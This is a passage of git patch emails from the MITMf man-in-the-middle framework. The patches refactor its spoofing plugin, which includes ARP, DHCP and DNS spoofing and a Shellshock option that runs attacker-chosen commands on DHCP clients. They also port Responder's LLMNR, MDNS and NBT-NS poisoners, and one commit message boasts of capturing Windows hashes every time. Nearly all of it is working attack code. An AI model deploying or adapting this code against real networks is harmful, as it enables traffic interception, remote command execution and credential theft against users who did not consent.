IpTables.getInstance().DNS(options.ip_address, self.dnscfg['port']) + if options.targets: + exit("[-] --targets argument invalid when DCHP spoofing") - DNSChef.getInstance().loadRecords(self.dnscfg) + dhcp = DHCPServer(options.interface, self.dhcpcfg, options.ip_address, options.mac_address) + dhcp.shellshock = options.shellshock + dhcp.debug = debug + self.protocolInstances.append(dhcp) - if not options.arp and not options.icmp and not options.dhcp and not options.dns: - sys.exit("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns") + if options.dns: - SystemConfig.setIpForwarding(1) + if not options.manualiptables: + if IpTables.getInstance().dns is False: + IpTables.getInstance().DNS(self.myip, self.dnscfg['port']) - if not options.manualiptables: - if IpTables.getInstance().http is False: - IpTables.getInstance().HTTP(options.listen) + DNSChef.getInstance().loadRecords(self.dnscfg) - for protocol in self.protocolInstances: - protocol.start() + if not options.arp and not options.icmp and not options.dhcp and not options.dns: + exit("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns") - def add_options(self, options): - group = options.add_mutually_exclusive_group(required=False) - group.add_argument('--arp', dest='arp', action='store_true', default=False, help='Redirect traffic using ARP spoofing') - group.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP redirects') - group.add_argument('--dhcp', dest='dhcp', action='store_true', default=False, help='Redirect traffic using DHCP offers') - options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Proxy/Modify DNS queries') - options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', default=None, help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command') - options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP') - options.add_argument('--target', dest='target', default=None, help='Specify a host to poison [default: subnet]') - options.add_argument('--arpmode',type=str, dest='arpmode', default='req', choices=["req", "rep"], help=' ARP Spoofing mode: requests (req) or replies (rep) [default: req]') - #options.add_argument('--summary', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning') + SystemConfig.setIpForwarding(1) - def finish(self): - for protocol in self.protocolInstances: - if hasattr(protocol, 'stop'): - protocol.stop() + if not options.manualiptables: + IpTables.getInstance().Flush() + if IpTables.getInstance().http is False: + IpTables.getInstance().HTTP(options.listen) - if not self.manualiptables: - IpTables.getInstance().Flush() + for protocol in self.protocolInstances: + protocol.start() - SystemConfig.setIpForwarding(0) + def add_options(self, options): + group = options.add_mutually_exclusive_group(required=False) + group.add_argument('--arp', dest='arp', action='store_true', default=False, help='Redirect traffic using ARP spoofing') + group.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP redirects') + group.add_argument('--dhcp', dest='dhcp', action='store_true', default=False, help='Redirect traffic using DHCP offers') + options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Proxy/Modify DNS queries') + options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', default=None, help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command') + options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP') + options.add_argument('--targets', dest='targets', default=None, help='Specify host/s to poison [if ommited will default to subnet]') + options.add_argument('--arpmode',type=str, dest='arpmode', default='rep', choices=["rep", "req"], help=' ARP Spoofing mode: replies (rep) or requests (req) [default: rep]') + + def finish(self): + for protocol in self.protocolInstances: + if hasattr(protocol, 'stop'): + protocol.stop() + + if not self.manualiptables: + IpTables.getInstance().Flush() + + SystemConfig.setIpForwarding(0) diff --git a/plugins/Upsidedownternet.py b/plugins/Upsidedownternet.py index 959f96c..402c9e5 100644 --- a/plugins/Upsidedownternet.py +++ b/plugins/Upsidedownternet.py @@ -23,8 +23,6 @@ from cStringIO import StringIO from plugins.plugin import Plugin from PIL import Image -mitmf_logger = logging.getLogger('mitmf') - class Upsidedownternet(Plugin): name = "Upsidedownternet" optname = "upsidedownternet" @@ -65,7 +63,7 @@ class Upsidedownternet(Plugin): im.save(output, format=image_type) data = output.getvalue() output.close() - mitmf_logger.info("%s Flipped image" % request.client.getClientIP()) + mitmf_logger.info("{} Flipped image".format(request.client.getClientIP())) except Exception as e: - mitmf_logger.info("%s Error: %s" % (request.client.getClientIP(), e)) + mitmf_logger.info("{} Error: {}".format(request.client.getClientIP(), e)) return {'request': request, 'data': data} diff --git a/plugins/__init__.py b/plugins/__init__.py index 5026fd4..155e900 100644 --- a/plugins/__init__.py +++ b/plugins/__init__.py @@ -3,4 +3,3 @@ import os import glob __all__ = [ os.path.basename(f)[:-3] for f in glob.glob(os.path.dirname(__file__)+"/*.py")] - diff --git a/plugins/plugin.py b/plugins/plugin.py index b73486d..9befa33 100644 --- a/plugins/plugin.py +++ b/plugins/plugin.py @@ -2,9 +2,12 @@ The base plugin class. This shows the various methods that can get called during the MITM attack. ''' +from core.configwatcher import ConfigWatcher +import logging +mitmf_logger = logging.getLogger('mitmf') -class Plugin(object): +class Plugin(ConfigWatcher, object): name = "Generic plugin" optname = "generic" desc = "" @@ -15,6 +18,10 @@ class Plugin(object): '''Called if plugin is enabled, passed the options namespace''' self.options = options + def startThread(self, options): + '''Anything that will subclass this function will be a thread''' + return + def add_options(options): '''Add your options to the options parser''' raise NotImplementedError @@ -27,6 +34,10 @@ class Plugin(object): '''Handles outgoing request''' raise NotImplementedError + def pluginReactor(self, strippingFactory): + '''This sets up another instance of the reactor on a diffrent port''' + pass + def handleResponse(self, request, data): ''' Handles all non-image responses by default. See Upsidedownternet diff --git a/requirements.txt b/requirements.txt index aa31339..75fc1ad 100644 --- a/requirements.txt +++ b/requirements.txt @@ -14,5 +14,6 @@ ipy pyopenssl service_identity watchdog +impacket capstone pypcap From 7aad9879d1c02ea603e01ccf9d8a733d5a899974 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Mon, 27 Apr 2015 19:19:34 +0200 Subject: [PATCH 017/181] version bump in readme --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index e07b1ce..be59559 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -MITMf V0.9.6 +MITMf V0.9.7 ============ Framework for Man-In-The-Middle attacks From 08b9029a96a94977d40f59ce6183b50f89d4ae32 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 28 Apr 2015 02:03:12 +0200 Subject: [PATCH 018/181] Responder's MDNS/LLMNR/NBTNS poisoners are back in action (better than ever), only WPAD remains. Tested against Windows 7 and 8, got hashes 100% of the time! \o/ The rest of the servers will be added in after WPAD is fixed. Next step is to fix the logging... frankly i rather just log everything into the main mitmf.log folder since it's very grep'able. Also the exact output is going to need tweaking, the lines are wayy to long --- .../fingerprinter/LANFingerprinter.py | 384 ++++++++++-------- .../fingerprinter/RAPLANMANPackets.py | 18 +- core/responder/llmnr/LLMNRPoisoner.py | 37 +- core/responder/mdns/MDNSPoisoner.py | 48 ++- .../responder/mdns/{__init.py => __init__.py} | 0 core/responder/nbtns/NBTNSPoisoner.py | 126 +++--- plugins/Responder.py | 10 +- 7 files changed, 327 insertions(+), 296 deletions(-) rename core/responder/mdns/{__init.py => __init__.py} (100%) diff --git a/core/responder/fingerprinter/LANFingerprinter.py b/core/responder/fingerprinter/LANFingerprinter.py index 3228f01..a1186f8 100644 --- a/core/responder/fingerprinter/LANFingerprinter.py +++ b/core/responder/fingerprinter/LANFingerprinter.py @@ -1,183 +1,221 @@ -################################################################################## -#Browser Listener and Lanman Finger -################################################################################## -class LANFinger(): +import socket +import threading +import struct +import logging - def serve_thread_udp(host, port, handler): - try: - server = ThreadingUDPServer((host, port), handler) - server.serve_forever() - except Exception, e: - print "Error starting UDP server on port %s: %s:" % (str(port),str(e)) +from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler +from core.configwatcher import ConfigWatcher +from core.responder.fingerprinter.RAPLANMANPackets import * - def start(): - t1 = threading.Thread(name="Browser", target=serve_thread_udp, args=("0.0.0.0", 138, Browser)) +mitmf_logger = logging.getLogger("mitmf") +class LANFingerprinter(): + + def start(self, options): + + global args; args = options #For now a quick hack to make argparse's namespace object available to all + + try: + mitmf_logger.debug("[LANFingerprinter] online") + server = ThreadingUDPServer(("0.0.0.0", 138), Browser) + t = threading.Thread(name="LANFingerprinter", target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception, e: + mitmf_logger.error("[LANFingerprinter] Error starting on port 138: {}:".format(e)) + class ThreadingUDPServer(ThreadingMixIn, UDPServer): - allow_reuse_address = 1 + allow_reuse_address = 1 - def server_bind(self): - UDPServer.server_bind(self) - -def WorkstationFingerPrint(data): - Role = { - "\x04\x00" :"Windows 95", - "\x04\x10" :"Windows 98", - "\x04\x90" :"Windows ME", - "\x05\x00" :"Windows 2000", - "\x05\x00" :"Windows XP", - "\x05\x02" :"Windows 2003", - "\x06\x00" :"Windows Vista/Server 2008", - "\x06\x01" :"Windows 7/Server 2008R2", - } - - if data in Role: - return Role[data] - else: - return False - -def PrintServerName(data, entries): - if entries == 0: - pass - else: - entrieslen = 26*entries - chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries - ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size) ] - l =[] - for x in ServerName: - if WorkstationFingerPrint(x[16:18]): - l.append(x[:16].replace('\x00', '')+'\n [-]Os version is:%s'%(WorkstationFingerPrint(x[16:18]))) - else: - l.append(x[:16].replace('\x00', '')) - - return l - -def ParsePacket(Payload): - PayloadOffset = struct.unpack('i", len(''.join(payload))) return length -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) - - class SMBHeader(Packet): fields = OrderedDict([ ("proto", "\xff\x53\x4d\x42"), diff --git a/core/responder/llmnr/LLMNRPoisoner.py b/core/responder/llmnr/LLMNRPoisoner.py index 44b1b2d..4367753 100644 --- a/core/responder/llmnr/LLMNRPoisoner.py +++ b/core/responder/llmnr/LLMNRPoisoner.py @@ -24,11 +24,11 @@ class LLMNRPoisoner: try: mitmf_logger.debug("[LLMNRPoisoner] OURIP => {}".format(OURIP)) server = ThreadingUDPLLMNRServer(("0.0.0.0", 5355), LLMNR) - t = threading.Thread(name="LLMNR", target=server.serve_forever) #LLMNR + t = threading.Thread(name="LLMNRPoisoner", target=server.serve_forever) #LLMNR t.setDaemon(True) t.start() except Exception, e: - mitmf_logger.error("[LLMNRPoisoner] Error starting on port {}: {}:".format(5355, e)) + mitmf_logger.error("[LLMNRPoisoner] Error starting on port 5355: {}:".format(e)) class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer): @@ -97,11 +97,11 @@ class LLMNR(BaseRequestHandler): if args.finger: try: Finger = RunSmbFinger((self.client_address[0],445)) - mitmf_logger.warning("[LLMNRPoisoner] {} is looking for {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,Finger[0],Finger[1])) + mitmf_logger.warning("[LLMNRPoisoner] {} is looking for: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,Finger[0],Finger[1])) except Exception: - mitmf_logger.warning("[LLMNRPoisoner] {} is looking for {}".format(self.client_address[0], Name)) + mitmf_logger.warning("[LLMNRPoisoner] {} is looking for: {}".format(self.client_address[0], Name)) else: - mitmf_logger.warning("[LLMNRPoisoner] {} is looking for {}".format(self.client_address[0], Name)) + mitmf_logger.warning("[LLMNRPoisoner] {} is looking for: {}".format(self.client_address[0], Name)) if DontRespondToSpecificHost(DontRespondTo): if RespondToIPScope(DontRespondTo, self.client_address[0]): @@ -118,15 +118,11 @@ class LLMNR(BaseRequestHandler): buff.calculate() for x in range(1): soc.sendto(str(buff), self.client_address) - #mitmf_logger.info(Message) - mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was : {}".format(self.client_address[0],Name)) + mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name)) if args.finger: try: Finger = RunSmbFinger((self.client_address[0],445)) - #print '[LLMNRPoisoner] OsVersion is:%s'%(Finger[0]) - #print '[LLMNRPoisoner] ClientVersion is :%s'%(Finger[1]) - mitmf_logger.info('[LLMNRPoisoner] OsVersion is:{}'.format(Finger[0])) - mitmf_logger.info('[LLMNRPoisoner] ClientVersion is :{}'.format(Finger[1])) + mitmf_logger.info('[LLMNRPoisoner] OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1])) except Exception: mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0])) pass @@ -136,14 +132,11 @@ class LLMNR(BaseRequestHandler): buff.calculate() for x in range(1): soc.sendto(str(buff), self.client_address) - mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was : {}".format(self.client_address[0],Name)) + mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name)) if args.finger: try: Finger = RunSmbFinger((self.client_address[0],445)) - #print '[LLMNRPoisoner] OsVersion is:%s'%(Finger[0]) - #print '[LLMNRPoisoner] ClientVersion is :%s'%(Finger[1]) - mitmf_logger.info('[LLMNRPoisoner] OsVersion is:{}'.format(Finger[0])) - mitmf_logger.info('[LLMNRPoisoner] ClientVersion is :{}'.format(Finger[1])) + mitmf_logger.info('[LLMNRPoisoner] OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1])) except Exception: mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0])) pass @@ -154,14 +147,11 @@ class LLMNR(BaseRequestHandler): buff.calculate() for x in range(1): soc.sendto(str(buff), self.client_address) - mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was : {}".format(self.client_address[0], Name)) + mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name)) if args.finger: try: Finger = RunSmbFinger((self.client_address[0],445)) - #print '[LLMNRPoisoner] OsVersion is:%s'%(Finger[0]) - #print '[LLMNRPoisoner] ClientVersion is :%s'%(Finger[1]) - mitmf_logger.info('[LLMNRPoisoner] OsVersion is: {}'.format(Finger[0])) - mitmf_logger.info('[LLMNRPoisoner] ClientVersion is : {}'.format(Finger[1])) + mitmf_logger.info('[LLMNRPoisoner] OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1])) except Exception: mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0])) pass @@ -170,12 +160,11 @@ class LLMNR(BaseRequestHandler): buff.calculate() for x in range(1): soc.sendto(str(buff), self.client_address) - mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was : {}".format(self.client_address[0], Name)) + mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name)) if args.finger: try: Finger = RunSmbFinger((self.client_address[0],445)) - mitmf_logger.info('[LLMNRPoisoner] OsVersion is: {}'.format(Finger[0])) - mitmf_logger.info('[LLMNRPoisoner] ClientVersion is : {}'.format(Finger[1])) + mitmf_logger.info('[LLMNRPoisoner] OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1])) except Exception: mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0])) pass diff --git a/core/responder/mdns/MDNSPoisoner.py b/core/responder/mdns/MDNSPoisoner.py index e8bbb77..eda54d1 100644 --- a/core/responder/mdns/MDNSPoisoner.py +++ b/core/responder/mdns/MDNSPoisoner.py @@ -1,22 +1,33 @@ #! /usr/bin/env python2.7 -from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler import threading +import socket import struct +import logging -from core.protocols.odict import OrderedDict -from core.protocols.packet import Packet +from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler +from core.configwatcher import ConfigWatcher +from core.responder.odict import OrderedDict +from core.responder.packet import Packet +from core.responder.common import * + +mitmf_logger = logging.getLogger("mitmf") class MDNSPoisoner(): - def start(): + def start(self, options, ourip): + + global args; args = options + global OURIP; OURIP = ourip + try: + mitmf_logger.debug("[MDNSPoisoner] OURIP => {}".format(OURIP)) server = ThreadingUDPMDNSServer(("0.0.0.0", 5353), MDNS) - t = threading.Thread(name="MDNS", target=server.serve_forever) + t = threading.Thread(name="MDNSPoisoner", target=server.serve_forever) t.setDaemon(True) t.start() except Exception, e: - print "Error starting MDNSPoisoner on port %s: %s:" % (str(port),str(e)) + print "[MDNSPoisoner] Error starting on port 5353: {}" .format(e) class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): @@ -26,9 +37,8 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): MADDR = "224.0.0.251" self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) - Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,inet_aton(MADDR)+inet_aton(OURIP)) - - UDPServer.server_bind(self + Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR)+ socket.inet_aton(OURIP)) + UDPServer.server_bind(self) class MDNSAns(Packet): fields = OrderedDict([ @@ -67,32 +77,34 @@ def Poisoned_MDNS_Name(data): class MDNS(BaseRequestHandler): def handle(self): + + ResponderConfig = ConfigWatcher.getInstance().getConfig()['Responder'] + RespondTo = ResponderConfig['RespondTo'] + MADDR = "224.0.0.251" MPORT = 5353 data, soc = self.request if self.client_address[0] == "127.0.0.1": pass try: - if AnalyzeMode: + if args.analyze: if Parse_IPV6_Addr(data): - #print '[Analyze mode: MDNS] Host: %s is looking for : %s'%(self.client_address[0],Parse_MDNS_Name(data)) - responder_logger.info('[Analyze mode: MDNS] Host: %s is looking for : %s'%(self.client_address[0],Parse_MDNS_Name(data))) + mitmf_logger.info('[MDNSPoisoner] {} is looking for: {}'.format(self.client_address[0],Parse_MDNS_Name(data))) if RespondToSpecificHost(RespondTo): - if AnalyzeMode == False: + if args.analyze == False: if RespondToIPScope(RespondTo, self.client_address[0]): if Parse_IPV6_Addr(data): - #print 'MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data)) - responder_logger.info('MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data))) + + mitmf_logger.info('[MDNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data))) Name = Poisoned_MDNS_Name(data) MDns = MDNSAns(AnswerName = Name) MDns.calculate() soc.sendto(str(MDns),(MADDR,MPORT)) - if AnalyzeMode == False and RespondToSpecificHost(RespondTo) == False: + if args.analyze == False and RespondToSpecificHost(RespondTo) == False: if Parse_IPV6_Addr(data): - #print 'MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data)) - responder_logger.info('MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data))) + mitmf_logger.info('[MDNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data))) Name = Poisoned_MDNS_Name(data) MDns = MDNSAns(AnswerName = Name) MDns.calculate() diff --git a/core/responder/mdns/__init.py b/core/responder/mdns/__init__.py similarity index 100% rename from core/responder/mdns/__init.py rename to core/responder/mdns/__init__.py diff --git a/core/responder/nbtns/NBTNSPoisoner.py b/core/responder/nbtns/NBTNSPoisoner.py index 1d4c071..f67160f 100644 --- a/core/responder/nbtns/NBTNSPoisoner.py +++ b/core/responder/nbtns/NBTNSPoisoner.py @@ -1,18 +1,34 @@ #! /usr/bin/env python2.7 -from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler import threading +import socket import struct +import logging +from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler +from core.configwatcher import ConfigWatcher +from core.responder.fingerprinter.Fingerprint import RunSmbFinger +from core.responder.odict import OrderedDict from core.responder.packet import Packet +from core.responder.common import * + +mitmf_logger = logging.getLogger("mitmf") class NBTNSPoisoner(): - def start(): - server = ThreadingUDPServer(("0.0.0.0", 137), NB) - t = threading.Thread(name="NBNS", target=server.serve_forever()) #NBNS - t.setDaemon(True) - t.start() + def start(self, options, ourip): + + global OURIP; OURIP = ourip + global args; args = options + + try: + mitmf_logger.debug("[NBTNSPoisoner] OURIP => {}".format(ourip)) + server = ThreadingUDPServer(("0.0.0.0", 137), NB) + t = threading.Thread(name="NBTNSPoisoner", target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception, e: + mitmf_logger.debug("[NBTNSPoisoner] Error starting on port 137: {}".format(e)) class ThreadingUDPServer(ThreadingMixIn, UDPServer): @@ -42,17 +58,17 @@ class NBT_Ans(Packet): def calculate(self,data): self.fields["Tid"] = data[0:2] self.fields["NbtName"] = data[12:46] - self.fields["IP"] = inet_aton(OURIP) + self.fields["IP"] = socket.inet_aton(OURIP) def NBT_NS_Role(data): Role = { - "\x41\x41\x00":"Workstation/Redirector Service.", - "\x42\x4c\x00":"Domain Master Browser. This name is likely a domain controller or a homegroup.)", - "\x42\x4d\x00":"Domain controller service. This name is a domain controller.", - "\x42\x4e\x00":"Local Master Browser.", - "\x42\x4f\x00":"Browser Election Service.", - "\x43\x41\x00":"File Server Service.", - "\x41\x42\x00":"Browser Service.", + "\x41\x41\x00":"Workstation/Redirector Service", + "\x42\x4c\x00":"Domain Master Browser", + "\x42\x4d\x00":"Domain controller service", + "\x42\x4e\x00":"Local Master Browser", + "\x42\x4f\x00":"Browser Election Service", + "\x43\x41\x00":"File Server Service", + "\x41\x42\x00":"Browser Service", } if data in Role: @@ -62,13 +78,13 @@ def NBT_NS_Role(data): # Define what are we answering to. def Validate_NBT_NS(data,Wredirect): - if AnalyzeMode: + if args.analyze: return False if NBT_NS_Role(data[43:46]) == "File Server Service.": return True - if NBTNSDomain == True: + if args.nbtns == True: if NBT_NS_Role(data[43:46]) == "Domain controller service. This name is a domain controller.": return True @@ -96,6 +112,13 @@ def Decode_Name(nbname): class NB(BaseRequestHandler): def handle(self): + + ResponderConfig = ConfigWatcher.getInstance().getConfig()['Responder'] + DontRespondTo = ResponderConfig['DontRespondTo'] + DontRespondToName = ResponderConfig['DontRespondToName'] + RespondTo = ResponderConfig['RespondTo'] + RespondToName = ResponderConfig['RespondToName'] + data, socket = self.request Name = Decode_Name(data[13:45]) @@ -106,59 +129,46 @@ class NB(BaseRequestHandler): if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()): return None - if AnalyzeMode: + if args.analyze: if data[2:4] == "\x01\x10": - if Is_Finger_On(Finger_On_Off): + if args.finger: try: Finger = RunSmbFinger((self.client_address[0],445)) - Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s.\nOs Version is: %s Client Version is: %s"%(self.client_address[0], Name,NBT_NS_Role(data[43:46]),Finger[0],Finger[1]) - logger3.warning(Message) + mitmf_logger.warning("[NBTNSPoisoner] {} is looking for: {} | Service requested: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,NBT_NS_Role(data[43:46]),Finger[0],Finger[1])) except Exception: - Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s\n"%(self.client_address[0], Name,NBT_NS_Role(data[43:46])) - logger3.warning(Message) + mitmf_logger.warning("[NBTNSPoisoner] {} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46]))) else: - Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s"%(self.client_address[0], Name,NBT_NS_Role(data[43:46])) - logger3.warning(Message) + mitmf_logger.warning("[NBTNSPoisoner] {} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46]))) - if RespondToSpecificHost(RespondTo) and AnalyzeMode == False: + if RespondToSpecificHost(RespondTo) and args.analyze == False: if RespondToIPScope(RespondTo, self.client_address[0]): if data[2:4] == "\x01\x10": - if Validate_NBT_NS(data,Wredirect): + if Validate_NBT_NS(data,args.wredir): if RespondToSpecificName(RespondToName) == False: buff = NBT_Ans() buff.calculate(data) for x in range(1): socket.sendto(str(buff), self.client_address) - Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) - #responder_logger.info(Message) - logger2.warning(Message) - if Is_Finger_On(Finger_On_Off): + mitmf_logger.warning('[NBTNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name)) + if args.finger: try: Finger = RunSmbFinger((self.client_address[0],445)) - #print '[+] OsVersion is:%s'%(Finger[0]) - #print '[+] ClientVersion is :%s'%(Finger[1]) - responder_logger.info('[+] OsVersion is:%s'%(Finger[0])) - responder_logger.info('[+] ClientVersion is :%s'%(Finger[1])) + mitmf_logger.info("[NBTNSPoisoner] OS: {} | ClientVersion: {}".format(Finger[0],Finger[1])) except Exception: - responder_logger.info('[+] Fingerprint failed for host: %s'%(self.client_address[0])) + mitmf_logger.info('[NBTNSPoisoner] Fingerprint failed for host: %s'%(self.client_address[0])) pass if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): buff = NBT_Ans() buff.calculate(data) for x in range(1): socket.sendto(str(buff), self.client_address) - Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) - #responder_logger.info(Message) - logger2.warning(Message) - if Is_Finger_On(Finger_On_Off): + mitmf_logger.warning('[NBTNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name)) + if args.finger: try: Finger = RunSmbFinger((self.client_address[0],445)) - #print '[+] OsVersion is:%s'%(Finger[0]) - #print '[+] ClientVersion is :%s'%(Finger[1]) - responder_logger.info('[+] OsVersion is:%s'%(Finger[0])) - responder_logger.info('[+] ClientVersion is :%s'%(Finger[1])) + mitmf_logger.info("[NBTNSPoisoner] OS: {} | ClientVersion: {}".format(Finger[0],Finger[1])) except Exception: - responder_logger.info('[+] Fingerprint failed for host: %s'%(self.client_address[0])) + mitmf_logger.info('[NBTNSPoisoner] Fingerprint failed for host: %s'%(self.client_address[0])) pass else: pass @@ -167,42 +177,32 @@ class NB(BaseRequestHandler): else: if data[2:4] == "\x01\x10": - if Validate_NBT_NS(data,Wredirect) and AnalyzeMode == False: + if Validate_NBT_NS(data,args.wredir) and args.analyze == False: if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): buff = NBT_Ans() buff.calculate(data) for x in range(1): socket.sendto(str(buff), self.client_address) - Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) - #responder_logger.info(Message) - logger2.warning(Message) - if Is_Finger_On(Finger_On_Off): + mitmf_logger.warning('[NBTNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name)) + if args.finger: try: Finger = RunSmbFinger((self.client_address[0],445)) - #print '[+] OsVersion is:%s'%(Finger[0]) - #print '[+] ClientVersion is :%s'%(Finger[1]) - responder_logger.info('[+] OsVersion is:%s'%(Finger[0])) - responder_logger.info('[+] ClientVersion is :%s'%(Finger[1])) + mitmf_logger.info("[NBTNSPoisoner] OS: {} | ClientVersion: {}".format(Finger[0],Finger[1])) except Exception: - responder_logger.info('[+] Fingerprint failed for host: %s'%(self.client_address[0])) + mitmf_logger.info('[NBTNSPoisoner] Fingerprint failed for host: %s'%(self.client_address[0])) pass if RespondToSpecificName(RespondToName) == False: buff = NBT_Ans() buff.calculate(data) for x in range(1): socket.sendto(str(buff), self.client_address) - Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) - #responder_logger.info(Message) - logger2.warning(Message) - if Is_Finger_On(Finger_On_Off): + mitmf_logger.warning('[NBTNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name)) + if args.finger: try: Finger = RunSmbFinger((self.client_address[0],445)) - #print '[+] OsVersion is:%s'%(Finger[0]) - #print '[+] ClientVersion is :%s'%(Finger[1]) - responder_logger.info('[+] OsVersion is:%s'%(Finger[0])) - responder_logger.info('[+] ClientVersion is :%s'%(Finger[1])) + mitmf_logger.info("[NBTNSPoisoner] OS: {} | ClientVersion: {}".format(Finger[0],Finger[1])) except Exception: - responder_logger.info('[+] Fingerprint failed for host: %s'%(self.client_address[0])) + mitmf_logger.info('[NBTNSPoisoner] Fingerprint failed for host: %s'%(self.client_address[0])) pass else: pass \ No newline at end of file diff --git a/plugins/Responder.py b/plugins/Responder.py index 676553f..b83891a 100644 --- a/plugins/Responder.py +++ b/plugins/Responder.py @@ -24,9 +24,12 @@ import threading from plugins.plugin import Plugin from twisted.internet import reactor -from core.responder.wpad.WPADPoisoner import WPADPoisoner -from core.responder.llmnr.LLMNRPoisoner import LLMNRPoisoner from core.utils import SystemConfig +from core.responder.llmnr.LLMNRPoisoner import LLMNRPoisoner +from core.responder.wpad.WPADPoisoner import WPADPoisoner +from core.responder.mdns.MDNSPoisoner import MDNSPoisoner +from core.responder.nbtns.NBTNSPoisoner import NBTNSPoisoner +from core.responder.fingerprinter.LANFingerprinter import LANFingerprinter class Responder(Plugin): name = "Responder" @@ -48,6 +51,9 @@ class Responder(Plugin): sys.exit('[-] Error parsing config for Responder: ' + str(e)) LLMNRPoisoner().start(options, self.ourip) + MDNSPoisoner().start(options, self.ourip) + NBTNSPoisoner().start(options, self.ourip) + LANFingerprinter().start(options) if options.wpad: WPADPoisoner().start() From 2c6e9a31b7a8b2feafc8f05be9c2ac1e1cb264a0 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 28 Apr 2015 13:08:56 +0200 Subject: [PATCH 019/181] modded readme --- 